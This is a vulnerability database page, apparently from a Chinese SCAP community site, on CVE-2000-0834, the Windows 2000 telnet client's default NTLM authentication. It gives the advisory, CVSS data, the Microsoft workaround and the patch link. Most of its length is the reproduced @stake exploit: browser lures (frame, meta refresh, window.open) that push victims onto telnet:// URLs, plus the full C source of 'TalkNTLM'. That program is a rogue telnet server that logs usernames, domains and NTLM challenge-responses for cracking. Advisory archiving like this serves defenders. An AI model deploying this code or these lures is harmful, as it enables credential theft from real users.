CVE-2000-0834
CVSS7.5
发布时间 :2000-11-14 00:00:00
修订时间 :2008-09-05 16:21:59
NMCOE    

[原文]The Windows 2000 telnet client attempts to perform NTLM authentication by default, which allows remote attackers to capture and replay the NTLM challenge/response via a telnet:// URL that points to the malicious server, aka the "Windows 2000 Telnet Client NTLM Authentication" vulnerability.


[CNNVD]Microsoft Windows 2000 telnet.exe NTLM认证信息泄露漏洞(CNNVD-200011-029)

        Microsoft Windows是微软发布的非常流行的操作系统。
        Windows 2000系统的telnet.exe远程连接工具在执行认证时存在漏洞,远程攻击者可能利用此漏洞获取系统相关的敏感信息。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0834
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0834
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200011-029
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/1683
(VENDOR_ADVISORY)  BID  1683
http://www.microsoft.com/technet/security/bulletin/MS00-067.asp
(VENDOR_ADVISORY)  MS  MS00-067
http://xforce.iss.net/static/5242.php
(UNKNOWN)  XF  win2k-telnet-ntlm-authentication
http://www.atstake.com/research/advisories/2000/a091400-1.txt
(UNKNOWN)  ATSTAKE  A091400-1

- 漏洞信息

Microsoft Windows 2000 telnet.exe NTLM认证信息泄露漏洞
高危
2000-11-14 00:00:00 2005-10-12 00:00:00
远程  
        Microsoft Windows是微软发布的非常流行的操作系统。
        Windows 2000系统的telnet.exe远程连接工具在执行认证时存在漏洞,远程攻击者可能利用此漏洞获取系统相关的敏感信息。

- 公告与补丁

        临时解决方法:
        CNNVD建议您在得到补丁之前采用微软提供的如下解决办法:
        -打开命令窗口,输入"telnet"并按回车。
        -在Telnet提示符下面,输入"unset ntlm"并按回车。
        -输入"quit"以保存你的更改并退出telnet。
        为了验证NTLM认证已被禁止,做如下几件事:
        -打开命令窗口,输入"telnet"并按回车。
        -在Telnet提示符下,输入"display"并按回车。
        -察看"display"命令的输出,如果你看见"Will auth (NTLM authentication"字样,说明Telnet将参与NTLM认证。如果你看见"Won't auth (NTLM authentication)",这说明Telnet不会参与NTLM认证。
        厂商补丁:
        Microsoft
        ---------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        
        http://download.microsoft.com/download/win2000platform/patch/q272743/nt5/en-us/q272743_w2k_sp2_x86_en.exe

- 漏洞信息 (20222)

Microsoft Windows 2000 telnet.exe NTLM Authentication Vulnerability (EDBID:20222)
windows remote
2000-08-14 Verified
0 @stake
N/A [点击下载]
source: http://www.securityfocus.com/bid/1683/info


By default, the telnet client (telnet.exe) shipped with Microsoft Windows 2000 utilizes Windows NT Challenge/Response (NTLM) as an authentication method. When establishing a connection to a host, the telnet client will attempt authentication via NTLM, regardless of whether or not the host is a Windows telnet server or not. There is a possibility that the NTLM challenge/response authentication session could be monitored and subsequently cracked, which could lead to the disclosure of sensitive information such as usernames, passwords, domains, etc. The NTLM challenge/response protocol is known to be susceptible to brute-force cracking, as demonstrated in the tool "L0phtcrack."

Forcing a telnet session on a remote target is a trivial task because products such as Microsoft Internet Explorer, Outlook (Express), Netscape Navigator, etc. will automatically open URLs with a "telnet://" prefix in a default telnet client (which is normally telnet.exe). The following are some examples of how one could open a telnet session on a specified rogue server:

1) frame src=telnet://target 


2) meta http-equiv="refresh" content="0;URL=telnet://telnet-attacker"


3) window.open("telnet://target")


/* TalkNTLM - NTLM Logging Telnet Server
 * dildog@atstake.com
 * 8/14/00
 * Copyright (C) 2000 @stake, Inc.
 */

#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<stdlib.h>
#include<ctype.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<sys/wait.h>
#include<netinet/in.h>
#include<arpa/inet.h>

#define MAJOR_VERSION 1
#define MINOR_VERSION 0

#define IAC     255             /* interpret as command: */
#define DONT    254             /* you are not to use option */
#define DO      253             /* please, you use option */
#define WONT    252             /* I won't use option */
#define WILL    251             /* I will use option */
#define SB      250             /* interpret as subnegotiation */              
#define SE      240             /* end sub negotiation */
#define AUTH    37
#define IS      0
#define SEND    1
#define REPLY   2
#define NAME    3
#define NTLM    15

#define ACCEPT 1

typedef enum {
  METHOD_NONE=0,
  METHOD_TELNET
} METHOD;

typedef enum {
  SUBMETHOD_NONE=0,
  SUBMETHOD_LOG,
} SUBMETHOD;

#define COMMSOCK_BUFSIZ 2048
FILE *g_fCommSock;
char g_CommSockBuf[COMMSOCK_BUFSIZ];

void error(const char *str)
{
  fflush(stdout);
  fprintf(stderr,str);
  fflush(stderr);
}

unsigned char getb(void)
{
  unsigned char b=0;
  fread(&b,1,1,g_fCommSock);
  return b;
}

unsigned short getdwl(void)
{
  unsigned short s=0;
  s|=((unsigned short)getb());
  s|=((unsigned short)getb())<<8;
  return s;
}

unsigned long getddl(void)
{
  unsigned long l=0;
  l|=((unsigned long)getb());
  l|=((unsigned long)getb())<<8;
  l|=((unsigned long)getb())<<16;
  l|=((unsigned long)getb())<<24;
  return l;
}

void putb(unsigned char c)
{
  fwrite(&c,1,1,g_fCommSock);
}

void putdwl(unsigned short w)
{
  putb(w&255);
  putb((w>>8)&255);
}

void putddl(unsigned long d)
{
  putb(d&255);
  putb((d>>8)&255);
  putb((d>>16)&255);
  putb((d>>24)&255);
}


void putarrb(int n, unsigned char *b)
{
  int i;
  for(i=0;i<n;i++) {
    putb(b[i]);
  }
}

void putarrc(int n, char *c)
{
  putarrb(n,(unsigned char *)c);
}

void putflush(void)
{
  fflush(g_fCommSock);
}


void debugb(unsigned char c)
{
  fprintf(stderr,"%d\t\t%X\t'%c'\n\r",c,c,(isalnum(c)?c:' '));
}


int listenport(int port, struct sockaddr_in *rsaddr)
{
  // Create socket
  int s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  if(s<0) {
    error("couldn't create socket.\n");
    return -1;
  }

  int reuse=1;
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&reuse,sizeof(int))<0) {
    error("couldn't set socket option.\n");
    close(s);
    return -2;
  }

  // Bind to port
  struct sockaddr_in saddr;
  memset(&saddr,0,sizeof(struct sockaddr_in));
  saddr.sin_port=htons(port);
  saddr.sin_family=AF_INET;
 
  if(bind(s,(struct sockaddr *)&saddr,sizeof(struct sockaddr_in))<0) {
    error("couldn't bind.\n");
    close(s);
    return -3;
  }

  // Listen on port;
  if(listen(s,1)<0) {
    error("couldn't listen.\n");
    close(s);
    return -4;
  }

  // Accept connection
  unsigned int socklen=sizeof(struct sockaddr_in);
  memset(rsaddr,0,socklen);
  int as;
  if((as=accept(s,(struct sockaddr *)rsaddr,&socklen))<0) {
    error("couldn't accept.\n");
    close(s);
    return -5;
  }

  // Close listener
  close(s);
  
  return as;
}

int do_telnet_log(int port, char *logfile)
{

  FILE *lf=NULL;

  while(1) {
    
    // Wait for telnet connection to come in
    struct sockaddr_in saddr;
    int s;
    printf("listening on port %d.\n",port);
    if((s=listenport(port,&saddr))<0) {
      error("telnet logging abort.\n");
      return -1;
    }
    printf("recieved telnet connection from %s:%u.\n",
	   inet_ntoa(saddr.sin_addr),ntohs(saddr.sin_port));

    // Set this socket as out buffered packet socket
    g_fCommSock=fdopen(s,"r+b");
    if(g_fCommSock==NULL) {
      error("couldn't fdopen comm socket.\n");
      close(s);
      return -2;
    }
    setvbuf(g_fCommSock,g_CommSockBuf,_IOFBF,COMMSOCK_BUFSIZ);

    // Open logging file
    lf=fopen(logfile,"a+t");
    if(lf==NULL) {
      error("couldn't open log file.\n");
      fclose(g_fCommSock);
      return -3;
    }
    
    // Challenge to send
    unsigned char challenge[8]={255,255,255,255,255,255,255,255};

    // Start authentication process
    unsigned char *respbuf=NULL;
    int size=0;
    
    putb(IAC);
    putb(DO);
    putb(AUTH);
    putflush();
    printf(">> IAC DO AUTH\n");
    
    // See if client wants to authenticate
    if(getb()!=IAC) goto telnetlogfail;
    if(getb()!=WILL) goto telnetlogfail;
    if(getb()!=AUTH) goto telnetlogfail;
    printf("<< IAC WILL AUTH\n");
    
    // Present authentication methods
    putb(IAC);
    putb(SB);
    putb(AUTH);
    putb(SEND);
    putb(NTLM);
    putb(0);
    putb(IAC);
    putb(SE);
    putflush();
    printf(">> IAC SB AUTH SEND NTLM 0 IAC SE\n");
    
    // Get NTLMSSP initial request
    if(getb()!=IAC) goto telnetlogfail;
    if(getb()!=SB) goto telnetlogfail;
    if(getb()!=AUTH) goto telnetlogfail;
    if(getb()!=IS) goto telnetlogfail;
    if(getb()!=NTLM) goto telnetlogfail;
    if(getb()!=0) goto telnetlogfail;
    if(getb()!=0) goto telnetlogfail;
    
    size=getddl()+4;
    if(size>2048) goto telnetlogfail;
    respbuf=(unsigned char *)malloc(size);
    int i;
    for(i=0;i<size;i++) {
      respbuf[i]=getb();
    }
    free(respbuf);
    if(getb()!=IAC) goto telnetlogfail;
    if(getb()!=SE) goto telnetlogfail;
    
    printf("<< IAC SB AUTH IS NTLM 0 0 ... IAC SE\n");
    
    // Send accept
    putb(IAC);
    putb(SB);
    putb(AUTH);
    putb(REPLY);
    putb(NTLM);
    putb(0);
    putb(ACCEPT);
    
    putddl(0xA8);
    putddl(0x2);
    putarrc(8,"NTLMSSP");
    putddl(0x2);
    putdwl(0x14);
    putdwl(0x14);
    putddl(0x30);
    putddl(0xE0828295);
    putarrb(8,challenge);
    putarrc(8,"\0\0\0\0\0\0\0\0");
    putdwl(0x64);
    putdwl(0x64);
    putddl(0x44);
    putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
    putdwl(0x2);
    putdwl(0x14);
    putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
    putdwl(0x1);
    putdwl(0x14);
    putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
    putdwl(0x4);
    putdwl(0x14);
    putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
    putdwl(0x3);
    putdwl(0x14);  
    putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
    putddl(0);

    putb(IAC);
    putb(SE);
    putflush();
    printf(">> IAC SB AUTH REPLY NTLM 0 1 ... challenge ... IAC SE\n");
  
    // Get the reply packet
    if(getb()!=IAC) goto telnetlogfail;
    if(getb()!=SB) goto telnetlogfail;
    if(getb()!=AUTH) goto telnetlogfail;
    if(getb()!=IS) goto telnetlogfail;
    if(getb()!=NTLM) goto telnetlogfail;
    if(getb()!=0) goto telnetlogfail;
    if(getb()!=2) goto telnetlogfail;

    size=getddl()+4;
    if(size>2048 || size<64) goto telnetlogfail;
    printf("8\n");
    respbuf=(unsigned char *)malloc(size);
    for(i=0;i<size;i++) {
      respbuf[i]=getb();
      //fprintf(stderr,"%2.2X: ",i);
      //debugb(respbuf[i]);
    }
    if(getb()!=IAC) goto telnetlogfail;
    if(getb()!=SE) goto telnetlogfail;

    printf("<< IAC SB AUTH IS NTLM 0 2 ... response ... IAC SE\n");
    
    
    // Get username
    int usernamelen,usernameoff;
    char *username;
    usernamelen=respbuf[0x28] | (respbuf[0x29]<<8);
    usernameoff=respbuf[0x2C] | (respbuf[0x2D]<<8) | 
      (respbuf[0x2E]<<16) | (respbuf[0x2F]<<24);
    username=(char *)malloc(usernamelen);
    if(!username) goto telnetlogfail;
    memcpy(username,&respbuf[usernameoff+4],usernamelen);
    printf("Username: ");
    for(i=0;i<usernamelen;i+=2) {
      printf("%c",username[i]);
      fprintf(lf,"%c",username[i]);
      username[i>>1]=username[i];
    }
    usernamelen>>=1;
    printf("\n");
    fprintf(lf,":");
    free(username);
    
    // Get domainname
    int domainnamelen,domainnameoff;
    char *domainname;
    domainnamelen=respbuf[0x20] | (respbuf[0x21]<<8);
    domainnameoff=respbuf[0x24] | (respbuf[0x25]<<8) | 
      (respbuf[0x26]<<16) | (respbuf[0x27]<<24);
    domainname=(char *)malloc(domainnamelen);
    if(!domainname) goto telnetlogfail;
    memcpy(domainname,&respbuf[domainnameoff+4],domainnamelen);
    printf("Domain: ");
    for(i=0;i<domainnamelen;i+=2) {
      printf("%c",domainname[i]);
      fprintf(lf,"%c",username[i]);
      domainname[i>>1]=domainname[i];
    }
    domainnamelen>>=1;
    printf("\n");
    fprintf(lf,":");
    free(domainname);
    
    // Write challenge
    fprintf(lf,"%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X:",
	    challenge[0],challenge[1],challenge[2],challenge[3],
	    challenge[4],challenge[5],challenge[6],challenge[7]);

    // Get NT response
    int ntresplen,ntrespoff;
    unsigned char *ntresp;
    ntresplen=respbuf[0x10] | (respbuf[0x11]<<8);
    ntrespoff=respbuf[0x14];// | (respbuf[0x15]<<8) | (respbuf[0x16]<<16) | (respbuf[0x17]<<24);
    ntresp=(unsigned char *)malloc(ntresplen);
    if(!ntresp) goto telnetlogfail;
    memcpy(ntresp,&respbuf[ntrespoff+4],ntresplen);
    printf("NT Response:\n");
    for(i=0;i<ntresplen;i++) {
      printf("%2.2X ",ntresp[i]);
      fprintf(lf,"%2.2X",ntresp[i]);
      if(i%8==7) printf("\n");
    }
    printf("\n");
    fprintf(lf,":");
    free(ntresp);
    
    // Get LM response
    int lmresplen,lmrespoff;
    unsigned char *lmresp;
    lmresplen=respbuf[0x18] | (respbuf[0x19]<<8);
    lmrespoff=respbuf[0x1C] | (respbuf[0x1D]<<8) | 
      (respbuf[0x1E]<<16) | (respbuf[0x1F]<<24);
    lmresp=(unsigned char *)malloc(lmresplen);
    if(!lmresp) goto telnetlogfail;
    memcpy(lmresp,&respbuf[lmrespoff+4],lmresplen);
    printf("LM Response:\n");
    for(i=0;i<lmresplen;i++) {
      printf("%2.2X ",lmresp[i]);
      fprintf(lf,"%2.2X",lmresp[i]);
      if(i%8==7) printf("\n");
    }
    printf("\n");
    fprintf(lf,"\n");
    free(lmresp);  
    
    free(respbuf);
    
    fclose(lf);
    // Close the telnet session
    fclose(g_fCommSock);
    printf("closed telnet socket.\n");

  }

  return 0;
  
 telnetlogfail:; // Failure
  
  if(lf!=NULL)
    fclose(lf);
  printf("telnet negotiation failed.\n");
  fclose(g_fCommSock);
  
  return -5;
}



void usage(char *progname,int exitcode)
{
  printf("talkntlm v%d.%d (%s)\n",MAJOR_VERSION,MINOR_VERSION,progname);
  printf("usage: talkntlm -t [-p <port>] -l <challenge response logfile>\n",progname);
  exit(exitcode);
}


int main(int argc, char *argv[])
{
  unsigned char b;
  int i,tp;
  
  // Get options
  
  int opt_port=0;
  char *opt_logfile=NULL;
  METHOD opt_method=METHOD_NONE;
  SUBMETHOD opt_submethod=SUBMETHOD_NONE;

  char oc;
  while((oc=getopt(argc,argv,"l:p:t"))>0) {
    switch(oc) {
    case 't':
      opt_method=METHOD_TELNET;
      if(opt_port==0) {
	opt_port=23;
      }
      break;
    case 'p':
      opt_port=atoi(optarg);
      break;
    case 'l':
      opt_logfile=optarg;
      if(opt_submethod!=SUBMETHOD_NONE)
	usage(argv[0],-2);
      opt_submethod=SUBMETHOD_LOG;
      break;
    default:
      usage(argv[0],-3);
      
      break;
    }
  }
  
  // Go to the particular method
  if(opt_method==METHOD_NONE) {
    usage(argv[0],-4);
  } 
  else if(opt_method==METHOD_TELNET) {
    
    // Telnet methods
    
    if(opt_submethod==SUBMETHOD_NONE) {
      usage(argv[0],-5);
    
    }
    else if(opt_submethod==SUBMETHOD_LOG) {

      // Telnet hash logging

      if(opt_logfile==NULL) {
	usage(argv[0],-7);
      }
      if(do_telnet_log(opt_port,opt_logfile)!=0)
	return -8;
    
    }

  }

  return 0;
}























		

- 漏洞信息

418
Microsoft Windows telnet.exe NTLM Authentication Information Disclosure
Remote / Network Access Authentication Management, Information Disclosure
Loss of Confidentiality Patch / RCS
Exploit Public Vendor Verified, Third-party Verified

- 漏洞描述

- 时间线

2000-09-14 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability. Check the vendor advisory or solution in the references section.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站